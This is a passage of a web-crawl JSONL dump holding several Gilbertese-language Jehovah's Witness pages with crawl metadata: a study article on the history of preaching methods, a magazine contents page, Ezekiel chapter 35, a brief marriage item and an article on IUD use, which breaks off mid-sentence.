mwakuri n uarongorongo n te wikeen ke n te bwakantaai.","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/booki\/uea-te-atua\/boutoka\/mwakuri-ni-kateitei-aika-karinea-iehova\/","date":"2018-04-24T05:21:24Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125946564.73\/warc\/CC-MAIN-20180424041828-20180424061828-00498.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":2738,"character_repetition_ratio":0.076,"word_repetition_ratio":0.001,"special_characters_ratio":0.236,"stopwords_ratio":0.437,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"\"Ao te Atua are reke mairouna te rau, . . . e bia kataubobongaingkami ni baika raraoi ni kabane ibukini karaoan nanona.\"\nANENE: 136, 14\n1. Tera aroni kakawakin te mwakuri n uarongorongo iroun Iesu? Kabwarabwaraa.\nE TATANGIRIA Iesu n taekina Ana Tautaeka n Uea te Atua. N aron ae taekinaki n te Baibara, e mamaroroakina riki te Tautaeka n Uea nakoni bwaai tabeua, ao e taekinna 100 tabun te tai n ana tai n uarongorongo. E mamate nanona n te Tautaeka n Uea.\n2. Tao mwaitira ake a mena n te tai are e taekinaki iai te mwioko ae ni Mataio 28:19, 20, ao ti kangaa ni kakoauaa anne?\n2 Teutana te tai imwini kautan Iesu, e a kaitiboo ma te koraki aika a nang riki bwa taan tataekina te Tautaeka n Uea aika e raka i aon 500 mwaitiia. (1Kor. 15:6) Tao bon te tai anne are e a anga iai te tua bwa a na taekina rongorongon te Tautaeka n Uea nakoia \"aomata mai buakoia botannaomata nako,\" ae te mwakuri ae kangaanga karaoana n taai akanne! * E a kaman taekinna Iesu bwa e na karaoaki te mwakuri ae kakawaki aei ni karokoa \"tain tokin te waaki ae ngkai i aon te aba,\" ao anne are e a kakororaoaki nanona. Ko bae naba n uataboa kakororaoan te mwioko ao te taetae ni burabeti anne.—Mat. 28:19, 20.\n3. Baikara aanga aika tenua ake ti a tia ni kataubobongaaki iai bwa ti na kakororaoa te mwioko ae tataekinan te rongorongo ae raoiroi?\n3 Ngke e a tia Iesu n anga te mwioko nakoia taan rimwina bwa a na uarongorongo, ao e berita nakoia ni kangai: \"N na memena iroumi.\" (Mat. 28:20) Ngaia are, e na karaoaki te mwakuri n uarongorongo aei ni kabutaa te aonnaba i aan ana kairiri. Ao e a tia ni kataubobongaira Atuara ni \"baika raraoi ni kabane\" ibukini buokara ni kakororaoa te mwioko anne. (Ebera 13:20, 21) N te kaongora aei, ti na rinanoi baika raraoi aika tenua aikai: (1) bwaai ni mwakuri ake ti anganaki, (2) aanga ake ti a tia ni kamanenai ao (3) te reirei ni kataneiai ae ti karekea. Iangoi moa bwaai ni mwakuri tabeua ake ti a tia ni kamanenai i nanon 100 te ririki n nako.\nE KATAUBOBONGAIA ANA TORO TE UEA BWA A NA UARONGORONGO\n4. E aera bwa ti kabonganai bwaai ni mwakuri aika kakaokoro n ara mwakuri n uarongorongo?\n4 E kabotaua Iesu \"taekan te tautaeka n uea\" ma te koraa ae unikaki n taano aika kakaokoro. (Mat. 13:18, 19) E bae ni kamanenai bwaai ni mwakuri aika kakaokoro te tia ununiki ni katauraoan ana onnaroka ibukin unikan te koraa. N aron naba anne, i nanon ririki aika nako e a tia ara Uea n anganira bwaai ni mwakuri ake ti na kamanenai ibukini katauraoan nanoia mirion ma mirion aomata bwa a na butimwaea rongorongon te Tautaeka n Uea. A a tia n rangi ni manena bwaai ni mwakuri tabeua i nanon tatabebwi te ririki ke e nako riki, ma iai tabeua aika kakoauaaki bwa a teimatoa ni kabonganaaki ni karokoa ngkai. Ma a tia bwaai ni mwakuri aikai ni kabane ni karikirakei rabakaura bwa taan tataekina te euangkerio n itera tabeua.\n5. Tera te testimony card, ao e kangaa ni kabonganaaki?\n5 Te bwai ni mwakuri teuana ae a buokaki iai aika bati ni waakina aia mwakuri ni minita bon te testimony card ae te beeba ae uarereke ma taeka i aona, are a moana kamanenaana n 1933 taan uarongorongoa te Tautaeka n Uea. Bon 3 te inti raababana ao 5 te inti abwakina ao kanoana bon te rongorongo ae kimototo man te Baibara. E kabonganaaki te beeba ae boou anne ma taekana ae bibitaki man te tai teuana ma teuana. E kimototo te rongorongo iai! Ai tibwa 10 ana ririki C.W. Erlenmeyer ngke e moani karaoa te aeka n uarongorongo aei. E kabwarabwaraa ni kangai: \"Te moantaeka ae kakabonganaaki iai bon aei: 'Ko kukurei ni wareka kanoan te beeba aio?' Imwini warekana irouni kaain te auti, ti anganna te maekatin ao n reitaanako kawaira.\"\n6. Tera manenan te beeba ae uarereke aei?\n6 E rangi n ibuobuoki te beeba ae uarereke aei n aanga aika bati. E ngae ngke e korakora te nano ni kan uataboa te mwakuri n uarongorongo, ma iai taan uarongorongo tabeman aika maamaa ao a aki ataa te bwai ae a na taekinna. Ma iai naba aika ninikoria n taetae. A kona n taekini bwaai ni kabane ake a atai nakoni kaain te auti n tii tabeua te miniti, ma e aki ota raoi aia maroro n angiin te tai! Ni kaitaraan anne, bon te beeba aei ma taekana aika rineaki raoi ao ni kimototo ae \"karaoa te taetae\" ibukin te tia uarongorongo.\n7. Baikara kangaanga tabeua ni kabonganaan te beeba anne?\n7 Ni koauana, iai naba kangaanga iai. E ururing rikaaki ni kangai Grace A. Estep are e a maan n riki bwa te tia Kakoaua: \"N tabetai, ti kona n titirakinaki aei: 'Anaia, tera ae taekinaki iai? Kai ko a aki naba taekina kanoana?'\" Irarikin anne, iai tabeman kaain te auti aika a aki kona ni wareka te baere e koreaki i aona. Ma a iangoia tabeman bwa e nang riki te beeba anne bwa aia bwai, ngaia are a butimwaeia ao ni kaina te mataroa. E kona n raeraea te beeba anne kaain te auti are e aki kukurei n te rongorongo are iai. E ngae n anne, a a tia tarira ni buokaki n reiakina aroia n uarongorongo nakoia aomata ao ni kaotiia bwa taan tei ibukin te Tautaeka n Uea.\n8. Kabwarabwaraa aroni kabonganaan te phonograph. (Nora te taamnei ni moan te kaongora aei.)\n8 Te bwai ni mwakuri teuana riki ae kamanenaaki n 1930 tabun ao ni moan 1940 tabun, bon te phonograph ae te bwai n ongora ae uouotaki are a a aranna taari tabeman bwa Aaron, ibukina bwa e karaoa angiin te kabwarabwara te mitiin anne ibukia. (Wareka Te Otinako 4:14-16.) Man ana kariaia kaain te auti, e kona te tia uarongorongo ni katanga te kabwarabwara man te Baibara, ae maanna aua ma te iterana te miniti ao imwina e a anganako booki tabeua. N tabetai, a ikotaki kaain te utu ni kabane n ongoraea te rongorongo man te Baibara are e a tia n raweaki! N 1934, e a moanaki karaoani bwaai n ongora aika uouotaki aikai man te Watch Tower Society, ai moarara riki ibukini kabonganaaia n te mwakuri ni minita. Ibukin anne, a tauraoi 92 reirei aika kakaokoro ake a a tia n raweaki.\n9. Tera aron nakoraoin kamanenaan te phonograph?\n9 Imwin ongoraean te kabwarabwara teuana man te Baibara, e a karekea ana kariaia te tia uarongorongo, kaain te auti ae Hillary Goslin ibukin tangoan te bwai n ongora anne i nanon teuana te wiki bwa e na kaongoraeia iai kaain rarikina rongorongon te Tautaeka n Uea. Ngke e a oki te tia uarongorongo, e a kuneia aomata tabeman aika boou aika kan ongora, ake a tataningaia. Imwina riki, a a katabui maiuia nakon Iehova tabeman mai buakoia ao a kaea te Kuura ni Kireata natin Hillary aika uoman aine ao a mwiokoaki ni beku n te aba teuana ae a ianena iai. A a tia ni buokaki aika bati bwa a na moana te mwakuri n uarongorongo man te bwai n ongora ae te phonograph, n aron te beeba ae uarereke ae te testimony card. Imwina riki, e tangiria te Uea ni karin ana taeka i wia rinanon te Kuura ni Kataneiai Ibukia Taan Uarongorongo.\nKAMANENAAN AANGA NAKO IBUKINI KAWARAIA AOMATA\n10, 11. Tera aroni kabonganaan nuutibeeba ao te rerio ibukini kabutan te koaua man te Baibara, ao e aera bwa a uaana aanga aikai?\n10 I aan ana kairiri te Uea, a a tia ana aomata te Atua ni kamanenai aanga aika kakaokoro bwa a aonga ni kawariia aomata aika bati ma te rongorongo ae raoiroi. E rangi ni kakawaki aei ngke \"a karako taani mwakuri.\" (Wareka Mataio 9:37.) Ni moan te ka-20 n tienture, a kabonganaaki nuutibeeba ibukin te uarongorongo nakoia aomata aika bati n aono ake a karako iai ana aomata Iehova. Ni katoa wiki ao e kanakoa te kabwarabwara teuana Charles Taze Russell rinanon te uaereti nakon te botaki n nuutibeeba. Imwina, e a manga kanakoa te kabwarabwara anne rinanon naba te uaereti te botaki anne, nakon taabo ibukin nuutibeeba n te United States, i Kanata ao i Eurobe. E katautauaki bwa n 1913, a roko ana kabwarabwara Brother Russell irouia taani wareware aika 15,000,000 rinanon nuutibeeba aika 2,000!\n11 Imwini maten Brother Russell, e a moanna ni kabonganaaki te anga riki teuana ae uaana ibukini kabutan te rongorongo ae raoiroi. N Eberi 16, 1922, e anga teuana i buakon ana moani kabwarabwara Joseph F. Rutherford i aon te ea n te rerio nakoia aomata aika katautauaki bwa 50,000 mwaitiia. Imwin anne, ni Beberuare 24, 1924, e a karaoaki te moani kanakobwanaa n te rerio n te WBBR man ara botaki. Ni kaineti ma karokoan te rongorongo irouia aomata man te anga ae boou aei, e taekinaki n Te Taua-n-Tantani ae bwain Ritembwa 1, 1924 ni kangai: \"Ti kakoauaa bwa te rerio bon te anga ae moan te boraoi ao n uaana ibukini kabutan rongorongon te koaua, are e teimatoa kabonganaana ni karokoa ngkai.\" N aron te nuutibeeba, e bongana naba te rerio ibukini karokoan te rongorongo irouia aomata aika bati n aono aika a karako iai taan uarongorongo.\n12. (a) Te aeka n uarongorongo raa n ana tabo te botannaomata ae ko tatangiria riki? (b) Tera ae na buokira n tokanikai i aoni maakura n uataboa te uarongorongo n ana tabo te botannaomata?\n12 E a korakora riki ngkai kaatuuan te uarongorongo n ana tabo te botannaomata n aron taabo ni katei bwati, taabo n turein, nneni baao ni mwamwananga, n taabo aika mwaawa ibukia te botannaomata ao mwakete. Ngkana iai ae ko karaoia mai buakon aikai ao ko maaku iai, e aera ko aki tataroakinna ao n iangoi ana taeka Angelo Manera, Jr., ae e a maan riki bwa te mataniwi ae mwamwananga: \"Ti iangoi aanga aika boou ibukin te mwakuri bwa te anga naba ni beku ibukin Iehova, bwa kaotani kakaonimakira nakoina, tuoan etin arora, ao ti ingainga ni kaotiira ae ti kukurei n anga ngaira ni beku ibukina n aanga ake e tangiri.\" Ngkana ti uataboa karaoan te mwakuri ae boou, tao n tokanikai i aoni maakura, ti a buokaki iai bwa ti na karikirakea mwiokoan ao onimakinan Iehova ike ti a ikawai riki iai n te onimaki.—Wareka 2 I-Korinto 12:9, 10.\n13. Tera ae noraki bonganana ngkai man ara atureti ae jw.org, ao baikara baike ko a tia n rinanoi ni kairakia aomata nako iai?\n13 A bati taan uarongorongo aika kukurei ni kairiia aomata nakon ara atureti n te intanete ae jw.org., are a kona iai ni wareki ao ni karekei booki aika boto man te Baibara n taetae aika raka i aon 700. A kawara ara atureti aei aomata aika raka i aon 1.6 te mirion ni katoabong. N taai aikai ao man ara atureti aei e a kona n roko te rongorongo ae raoiroi irouia aomata ao n taabo naba aika tionako, n aroni kabonganaan te rerio n taai ake rimoa.\nKATANEIAAKIA TAAN TATAEKINA TE RONGORONGO AE RAOIROI\n14. Tera te reirei ni kataneiai ae a kainnanoia taan uarongorongoa te Tautaeka n Uea, ao tera te reirei are e a tia ni buokiia n riki bwa taan angareirei aika mwaatai?\n14 Ti a tia n rinanoi tabeua bwaai ni mwakuri ao aanga ake a a tia ni kabonganaaki ibukini kabutan te rongorongo ae raoiroi. Ma tera aron te reirei ni kataneiai ae ti a tia ni karekea? Iangoia bwa e aki boraoi n iango kaain te auti n te baere e ongoraeia man te phonograph, ke e taekina anaakin nanona n te baere e warekia man te testimony card. A riai taan uarongorongo n ataa aroia n taetae ma te akoi ni kaaitarai taian totoko, ao ni mwaatai n reireinia naake a raoiroi nanoia. Akea te nanokokoraki bwa e kairaki Nathan H. Knorr n taamnein te Atua, bwa e na nora kainnanoani kataneiaakia taan uarongorongo, are a na kabongana te bwaintituaraoi ae te konaa n taetae n te mwakuri ni minita. Tera mwina? E moani baireaki te Kuura ni Kataneiai Ibukia Taan Uarongorongo n taian ekaretia n 1943. E a tia te reirei anne ni buokira n riki bwa taan angareirei aika mwaatai.\n15. (a) Tera ae a a tia tabeman n rinanona ngke a karaoa aia reirei n te Kuura ni Kataneiai Ibukia Taan Uarongorongo? (b) E kangaa n oti iroum koauan ana berita Iehova are n Taian Areru 32:8?\n15 A bati ake e kangaanga irouia bwa a na taetae i mataia aomata. E uringa ana moani kabwarabwara Julio S. Ramu n te kuura anne n 1944. Tera ana reirei? Bon taekan te mwaane ae Toeka are mwaneweaki ni kibun te Baibara aika tii nimaua! \"A ruru bubuaniwaeu, baiu ao mwangaiu,\" e taku Julio are e reitia n taekinna bwa e riai ni karaoa ana kabwarabwara ma kiibu akana tii nimaua akanne. \"I karaoa au kabwarabwara i nanon tenua te miniti. Anne au moantai ae I taetae iai mai moa, ma I aki kabwaraa nanou.\" A ira naba te kuura ataei, e ngae ngke e aki rangi ni bebete irouia tabeman bwa a na anga te kabwarabwara n te ekaretia. E ururing Angelo Manera, are taekinaki mai mwaina riki, n ana moani kabwarabwara temanna te teei are e a tibwa rin n te kuura. \"E rangi n nako nanona ngke e a tibwa waakina ana kabwarabwara, ao ni moanna ni maikeike n tang. Ma e kekeiaki ni karaoia, e ngae ngke e boni maikeike n tang ni karokoa banen ana kabwarabwara.\" Ko aki anganga am kaeka ke am ibuobuoki ni bobotaki n aanga tabeua ibukin te maamaa ke baika ko aki kona ni karaoi? Butiia Iehova ana ibuobuoki bwa ko na tokanikai i aon te maaku. Ko na bae ni kunea bwa e na buokiko n aron naba are e a tia ni buokiia taan reirei rimoa n te Kuura ni Kataneiai Ibukia Taan Uarongorongo.—Wareka Taian Areru 32:8.\n16. Tera oin te kantaninga n te Kuura ni Kireata (a) n taai ake rimoa ao (b) man 2011 ni karokoa ngkai?\n16 Iai riki te reirei ni kataneiai ibukia ana aomata Iehova irarikin te Kuura ni Kataneiai Ibukia Taan Uarongorongo. A rangi ni kakabwaiaaki mitinare ao tabeman riki man irakin te Kuura ni Kireata. Ni kaineti ma ana taeka temanna te tia reirei iai, oin te kantaninga n te reirei aei bwa e na \"karina riki tangiran uataboan te mwakuri n uarongorongo irouia naake a reirei.\" E moani kateaki n 1943 ao mangkekei ni karokoa ngkai, a a tia n reireinaki ni kataneiaaki te mwaiti ae raka i aon 8,500. A a tia ni beku bwa mitinare n aaba aika 170 tabun naake a kataneiaaki n te Kireata. Ni moa man 2011 ni karokoa ngkai, e tii katauaki kaean te kuura aei nakoia naake a kabwanina aia tai ni beku n te aro ae okoro, aika tibeetio bwaiania, mataniwi aika mwamwananga, kaain te Betaera ke mitinare aika a tuai n rin n te Kireata.\n17. E kangaa ni kakoauaaki te reirei ni kataneiai n te Kireata bwa e uaana?\n17 E kangaa n uaana riki te reirei ni kataneiai aei? Iangoa te katoto aio. N Aokati 1949, e aki raka i aon tengauni mwaitiia taan uarongorongo i aon Tiaban. A katabetabeia 13 mitinare ake a a tia n rin n te Kireata n uarongorongo iai n tokin te ririki anne. N taai aikai, ai 216,000 tabun mwaitiia taan uarongorongo i Tiaban ao e kaania 42 te katebubua mai buakoia aika a bwaiania!\n18. Taekin reirei tabeua ake a a tia ni buokaki iai taani Kakoaua aika tau, bwa a na rikirake n te onimaki.\n18 E korakora te boutoka ibukin rikiraken aia onimaki ao kataneiaakia ana aomata Iehova man reirei riki tabeua n aron te Kuura ni Minita Ibukin te Tautaeka n Uea, te Kuura Ibukin te Mwakuri ni Bwaiania, te Kuura Ibukia Taan Uarongorongoa te Tautaeka n Uea, te Kuura Ibukia Mataniwi n te Aono ae Uarereke ma Buuia, ao ai te Kuura Ibukia Kaain te Komete n Tararua n Aia Aobiti Ana Tia Kakoaua Iehova ma Buuia. Akea te nanokokoraki bwa e teimatoa te Uea n reireinia ana aomata ni kataneiaia!\n19. Tera ana taeka ae anainano Charles Taze Russell ibukin te mwakuri n uarongorongo, ao e kangaa n noraki koauana?\n19 E a tia ni waaki ni kairiri Ana Tautaeka n Uea te Atua n te maan ae raka i aon 100 te ririki, man te tai are moan tei iai ni karokoa ngkai. E teimatoa Ara Uea ae Iesu Kristo n reireinira ni kataneiaira. Tabeua te tai imwaini maten Charles Taze Russell n 1916, e kaotia bwa e a kaman nora aroni butanakon te mwakuri n uarongorongo are e na kakororaoaki. E taku nakon raoraona ni kaan temanna: \"E waekoa rikiraken te mwakuri ao e na teimatoa n ririkirake, ibukina bwa e riai ni katiaaki te mwakuri ni katobibia te aonnaba ae uarongorongoan 'euangkerion te tautaeka n uea.'\" (Faith on the March, iroun A. H. Macmillan, i. 69) Ai boni koauara ana taeka! Ao ai kakaitaura ngaira ngkai e teimatoa te Atua, are reke mairouna te rau ni kataubobongaira ibukin te mwakuri ae moan te kakukurei aei! Ni koauana, e anganira \"baika raraoi ni kabane\" ake ti kainnanoi ibukini karaoan nanona!\n^ bar. 2 E bae ni kakoauaaki ae a riki bwa Kristian angia te koraki ake a mena n te tai anne. E taekinia naakai Bauro n ana reta nakoia kaaini Korinto bwa \"taari aika nimabubua tabun\" mwaitiia. E reitia ni kangai: \"Angia a maiu naba ngkai, ma tabeman a a tia ni mate.\" N taraana, a rangi ni kinaia te koraki ake a moan ongoraea te tua anne, Bauro ao Kristian tabeman ake n te moan tienture.","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/maekatin\/w20151115\/tebubua-te-ririki-ana-kairiri-te-tautaeka-n-uea\/","date":"2018-04-25T15:58:22Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125947931.59\/warc\/CC-MAIN-20180425154752-20180425174752-00163.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":2897,"character_repetition_ratio":0.075,"word_repetition_ratio":0.0,"special_characters_ratio":0.228,"stopwords_ratio":0.421,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"TE TAUA-N-TANTANI (KAONGORA IBUKIN TE REIREI) December 2016\nIai n te maekatin aei kaongora ibukin te reirei n Tianuare 30 nakoni Beberuare 26, 2017.\nRONGORONGONI MAIUNA\nE buokaki Denton Hopkinson ni mwiokoana aika kakaokoro i nanon ririki aika bati ngke e roro n rikirake, n nora aron ana tangira Iehova ni mwaneiia aomata n aekaia nako.\nKo kona ni karekei kakabwaia aika bati man iaiangoan aron Iehova ni kainaomatako man te bure.\nIai n I-Rom mwakoro 8 te taeka n reirei ae kona ni buokiko ni karekea te kaniwanga are e anganga Iehova nakoia aomata nako.\nKo a tia ni wareki raoi kaongora man te Taua-n-Tantani n taai aika tibwa nako? Noria bwa iraua titiraki aika boto man te Baibara aika ko kona ni kaekai.\nN tabetai, a namakina te raoraoma ana toro te Atua. Mwaneka aika aua aika kona ni buokiko ni kakabwaiaaki man \"te rau are mairoun te Atua.\"\nTi na kangaa ni kakabwaiaaki mani kantaningaan te kaniwanga mairoun Iehova? E kangaa ni kakabwaiaia ana toro ake rimoa ao ngkai?\nE aki bebete kainan unum ngkana ko ribuakaaki, ma a kaungaaki Kristian n te Baibara bwa a na nimamannei. Tera ae kona ni buokiko ni karikirakea te aroaro ni Kristian aei?\nKaongora aika karinanaki ni kakaokoroaki n te maekatin ibukia aomata ao te ekaretia.","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/maekatin\/reirei-n-te-taua-n-tantani-ritembwa-2016\/","date":"2018-04-23T04:57:11Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125945724.44\/warc\/CC-MAIN-20180423031429-20180423051429-00465.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":211,"character_repetition_ratio":0.07,"word_repetition_ratio":0.0,"special_characters_ratio":0.206,"stopwords_ratio":0.408,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"35 E a manga roko naba ana taeka Iehova irou, ae kangai: 2 \"Natin te aomata, kamwataua taraan te aono ae maungaunga i Teira,+ ao taetae ni burabeti n ekianako.+ 3 Kangai nakoina, 'E kangai ana taeka te Uea ae Moan te Rietata ae Iehova: \"Akea bwa I a ekikonako, ngkoe ae te aono ae maungaunga i Teira, ao N na arora baiu n ekikonako ao ni karaoiko bwa te aba ae aki kona ni maekanaki ma ni kamaroaeaki.+ 4 N na karikii am kaawa bwa kaawa aika uruaki, ao ko na riki bwa te aba ae aki kona ni maekanaki ma ni kamaroaeaki,+ ao ko na ataia bwa bon Iehova ngai. 5 Bwa ko kaotiota te kairiribai ae aki totoki,+ ao ko anga tibun Iteraera nakon te kabaang n tain rikin te kabuanibwai nakoia, are n taini kabaneani katuuaaeaia.\"'+ 6 \"'Mangaia ae ngkai bon iai ngai,' bon ana taeka te Uea ae Moan te Rietata ae Iehova, 'ao N na katauraoiko imwain te katuturaraa, ao e na kaeko te katuturaraa.+ Kioina ngkai ko ribaa te raraa ao ane e na kaeko te katuturaraa.+ 7 N na karaoa te aono ae maungaunga i Teira bwa te tabo ae aki kona ni maekanaki ma ni kamaroaeaki,+ ao N na kamaunaia mai iai akana rinanona ao akana oki rikaaki. 8 N na kaoni maungana irouia aomata aika kamateaki, ao a na bwaka akana kamateaki n te kabaang i aon nako am tabuki, ao i nanon nako am mwarua, ao i nanon am karaanga ni kabane. 9 N na karaoiko bwa te tabo ae kamaroaa n aki toki, a na aki maekanaki am kaawa nako,+ ao ko na ataia bwa bon Iehova ngai.' 10 \"Ibukina bwa ko kangai, 'A na riki natannaomata aika uoua aikai ma aaba aika uoua aikai bwa au bwai, ao ti na bwaini ni kauoua,'+ e ngae ngke e boni mena Iehova ikanne, 11 'mangaia ae ngkai bon iai ngai,' bon ana taeka te Uea ae Moan te Rietata ae Iehova, 'ao N na karaoa nakoim te bwai teuana ni kaineti ma te aeka n un ao n tauaninne are ko kaotiotia n am riribai nakoia,+ ao N na kaotai i buakoia ngkana I motika taekam. 12 Ko na ataia ngkanne bwa I bon ongo ngai ae Iehova, bwaai ni kabane aika kamatauninga ake ko taekin n ekinako maungan Iteraera ngke ko kangai, \"A a kamaroaeaki ao ti a anganaki ngaiia bwa ti na kabwautiia.\"* 13 Ao ko taetae ni kainikatonga n ekainako ao ko kabatiai am taeka n ekainako,+ ao I bane n ongo.' 14 \"E kangai ana taeka te Uea ae Moan te Rietata ae Iehova: 'E na kimwareirei te aonnaba ni kabutaa ngkana I karaoiko bwa te tabo ae aki kona ni maekanaki ma ni kamaroaeaki. 15 N arom ngke ko kimwareirei ngke e kamaroaeaki tibwangaia tibun Iteraera, ao anne naba ae N na karaoia nakoim.+ Ko na riki bwa te tabo ae kamaroaeaki ae uruaki, ngkoe ae te aono ae maungaunga i Teira, eng, Etom ni kabutaa,+ ao a na ataia bwa bon Iehova ngai.'\"\nTaiani Kabwarabwara Mai Nano\n^ Ebera, \"bwa kanara.\"","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/baibara\/nwt\/booki\/etekiera\/35\/","date":"2018-04-25T07:44:07Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125947705.94\/warc\/CC-MAIN-20180425061347-20180425081347-00233.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":502,"character_repetition_ratio":0.074,"word_repetition_ratio":0.073,"special_characters_ratio":0.241,"stopwords_ratio":0.47,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"N ana bong Maraki, a bati tibun Iteraera ake a buuraure n te aro ae aki riai. E aki butimwaea Iehova aia taromauri naake a babakanikawaiia buuia\nE kakabwaiaia Iehova naake a karineia buuia\nA na kangaa raao ni mare ni boong aikai n teimatoa ni kakaonimaki ni koaua ni kaineti ma . . .\naia iango?\nmataia?\naia taetaenikawai?","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/jw-te-boki-n-reirei\/ritembwa-2017-mwb\/kaetieti-ibukin-te-botaki-rit25-31\/e-kukurei-iehova-n-am-mare\/","date":"2018-04-23T06:40:11Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125945793.18\/warc\/CC-MAIN-20180423050940-20180423070940-00398.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":57,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.209,"stopwords_ratio":0.421,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"A kona taanga aika Kristian n iangoa te IUD (intrauterine device) ke te ruubu bwa bwaini kamarangaan aia kariki ae boraoi ma ana reirei te Baibara?\nNi kaineti ma aei, a kona taanga aika Kristian ni kakaaea raoi aron ana mwakuri te ruubu n te rabwata ao ana boto n reirei te Baibara iai. Imwina, a riai ni karaoa aia motinnano ae e na aki tabeaianga iai mataniwin nanoia i matan te Atua.\nN te moantai ngke tii uoman aomata (ao imwin te Ieka waniman), ao e tua aei Iehova: \"Kam na kabatiaia ami kariki ao kamwaitingkami.\" (KBwaai 1:28; 9:1) E aki taekinaki n te Baibara bwa e kaineti te tua anne nakoia Kristian. Mangaia are e bon nakoia taanga iangoan ae a na kamanenai bwaai ibukini kamarangaan aia kariki ni bairea iai aia utu, ke ni bairea te tai are a na karikiia iai natiia. Baikara baika a riai n iangoi?\nA riai Kristian ni kairaki ni booto n reirei man te Baibara n rineani bwaai ibukini kamarangaan aia kariki. Ibukin anne, a rawa Kristian ni kabwakaa te teei ibukini kamarangaan aia kariki, bwa e aki boraoi anne ma ae e taekinaki n te Baibara ibukini karinean te maiu. A na bon aki tangiria Kristian n uruana te maiu are e na bungiaki imwina bwa te aomata. (TeOti. 20:13; 21:22, 23; TaiAre. 139:16; Ier. 1:5) Ma tera aron te ruubu?\nE maroroakinaki aei n Te Taua-n-Tantani ae bwaini Mei 15, 1979 iteraniba 30-31 n te taetae n Ingiriti. Angiin ruubu ake a taabangaki kamanenaaia n te tai anne, a karaoaki man te rabwa. E karinaki n ana kai te aine ibukin totokoan te bikoukou. E kaotaki n te kaongora anne bwa e tuai n ataaki raoi ana mwakuri te ruubu n te rabwata. A bati taokita aika mwaatai ake a taekinna bwa te ruubu anne, e tuka kaitiboon ana mannikariki te mwaane ma ana bunnimoa te aine are e na riki iai te maiu. Ngkana a aki kaitiboo, e aki kona n riki te maiu.\nMa e kaotaki ni bwaai ni kakoaua tabeua bwa e boni kona naba ni kaitiboo ana bunnimoa te aine ma ana mannikariki te mwaane. Ao e kona n rikirake te bunnimoa anne i nanon te Fallopian tube ae kawain te bunnimoa n otinako, (te bikoukou ni kawain te bunnimoa) ke e kona n ruo man te tabo anne nako nanon ana kai te aine. N tikun te ruubu i nanon ana kai te aine, e kona n tuka te bunnimoa are e a tia ni boo ma ana mannikariki te mwaane bwa e na aki rikirake n ana kai te aine ike e a tuka iai te bikoukou. Tukan rikiraken te maiu ane e a tibwa riki anne, titeboo ma kabwakaan te teei. E taekinaki ae kangai n te kaongora anne: \"Te Kristian ni koaua ae tabeaianga ibukin riaina ni kabongana te ruubu, e riai n rinanoi raoi rongorongo aikai ao ni kabotaua ma ae taekinaki n te Baibara ibukin tabun te maiu.\"—TaiAre. 36:9.\nIai kukune aika boou mairouia taan rabakau n te aonnaba ke man te tabo ni kuakua imwini boreetian te kaongora anne n 1979?\nIai uoua aeka n ruubu ake a a manga kamanenaaki. Are teuana, e renganaki ma te buraati ke te copper ao e a butanako n te United States n 1988. Irarikina, e a kakabonganaaki n 2001 te ruubu are teuana ae kaotinakoa te bwai teuana man te rabwata ae arana te hormone. Tera aia mwakuri ruubu aika uoua aikai n te rabwata?\nCopper: N aron ae e a tia n taekinaki, man ana mwakuri te ruubu aei e a taraa ni kangaanga iai kaitiboon ana mannikariki te mwaane ma te bunnimoa n ana kai te aine. Irarikina, te aeka n ruubu aei, e kaotinakoa te buraati ae taraa ni boitin nakon ana mannikariki te mwaane bwa e tiringnga. * E rotaki naba te beera are n ana kai te aine te aeka n ruubu anne.\nHormone: A bati aeka n ruubu aika iai i nanoia te hormone ae titeboo ma are n te bwatin ibukini kamarangaan te kariki. Ruubu aikai, a kaotinakoa te hormone n ana kai te aine. A taraa n totokoa naba rikin te bunnimoa irouia aine tabeman. Ni koauana, e aki kona n riki te maiu ngkana akea te bunnimoa. Ma e a iangoaki bwa te hormone are i nanon ruubu aikai, a kammania te beera n ana kai te aine. * E kamatentena naba te moraa n te ririniman, ao e a tuka iai rinnakon ana mannikariki te mwane nakon ainen te aine ao ana kai. Bwaai aikai, a riki n ikotaki ma bwaai aika riki naba n ruubu ake a karaoaki man te rabwa.\nN aron ae ataaki, aeka n ruubu aika uoua aikai, a taraa ni bita aron te beera are i nanon te kai. Ma tera ae e na riki ngkana 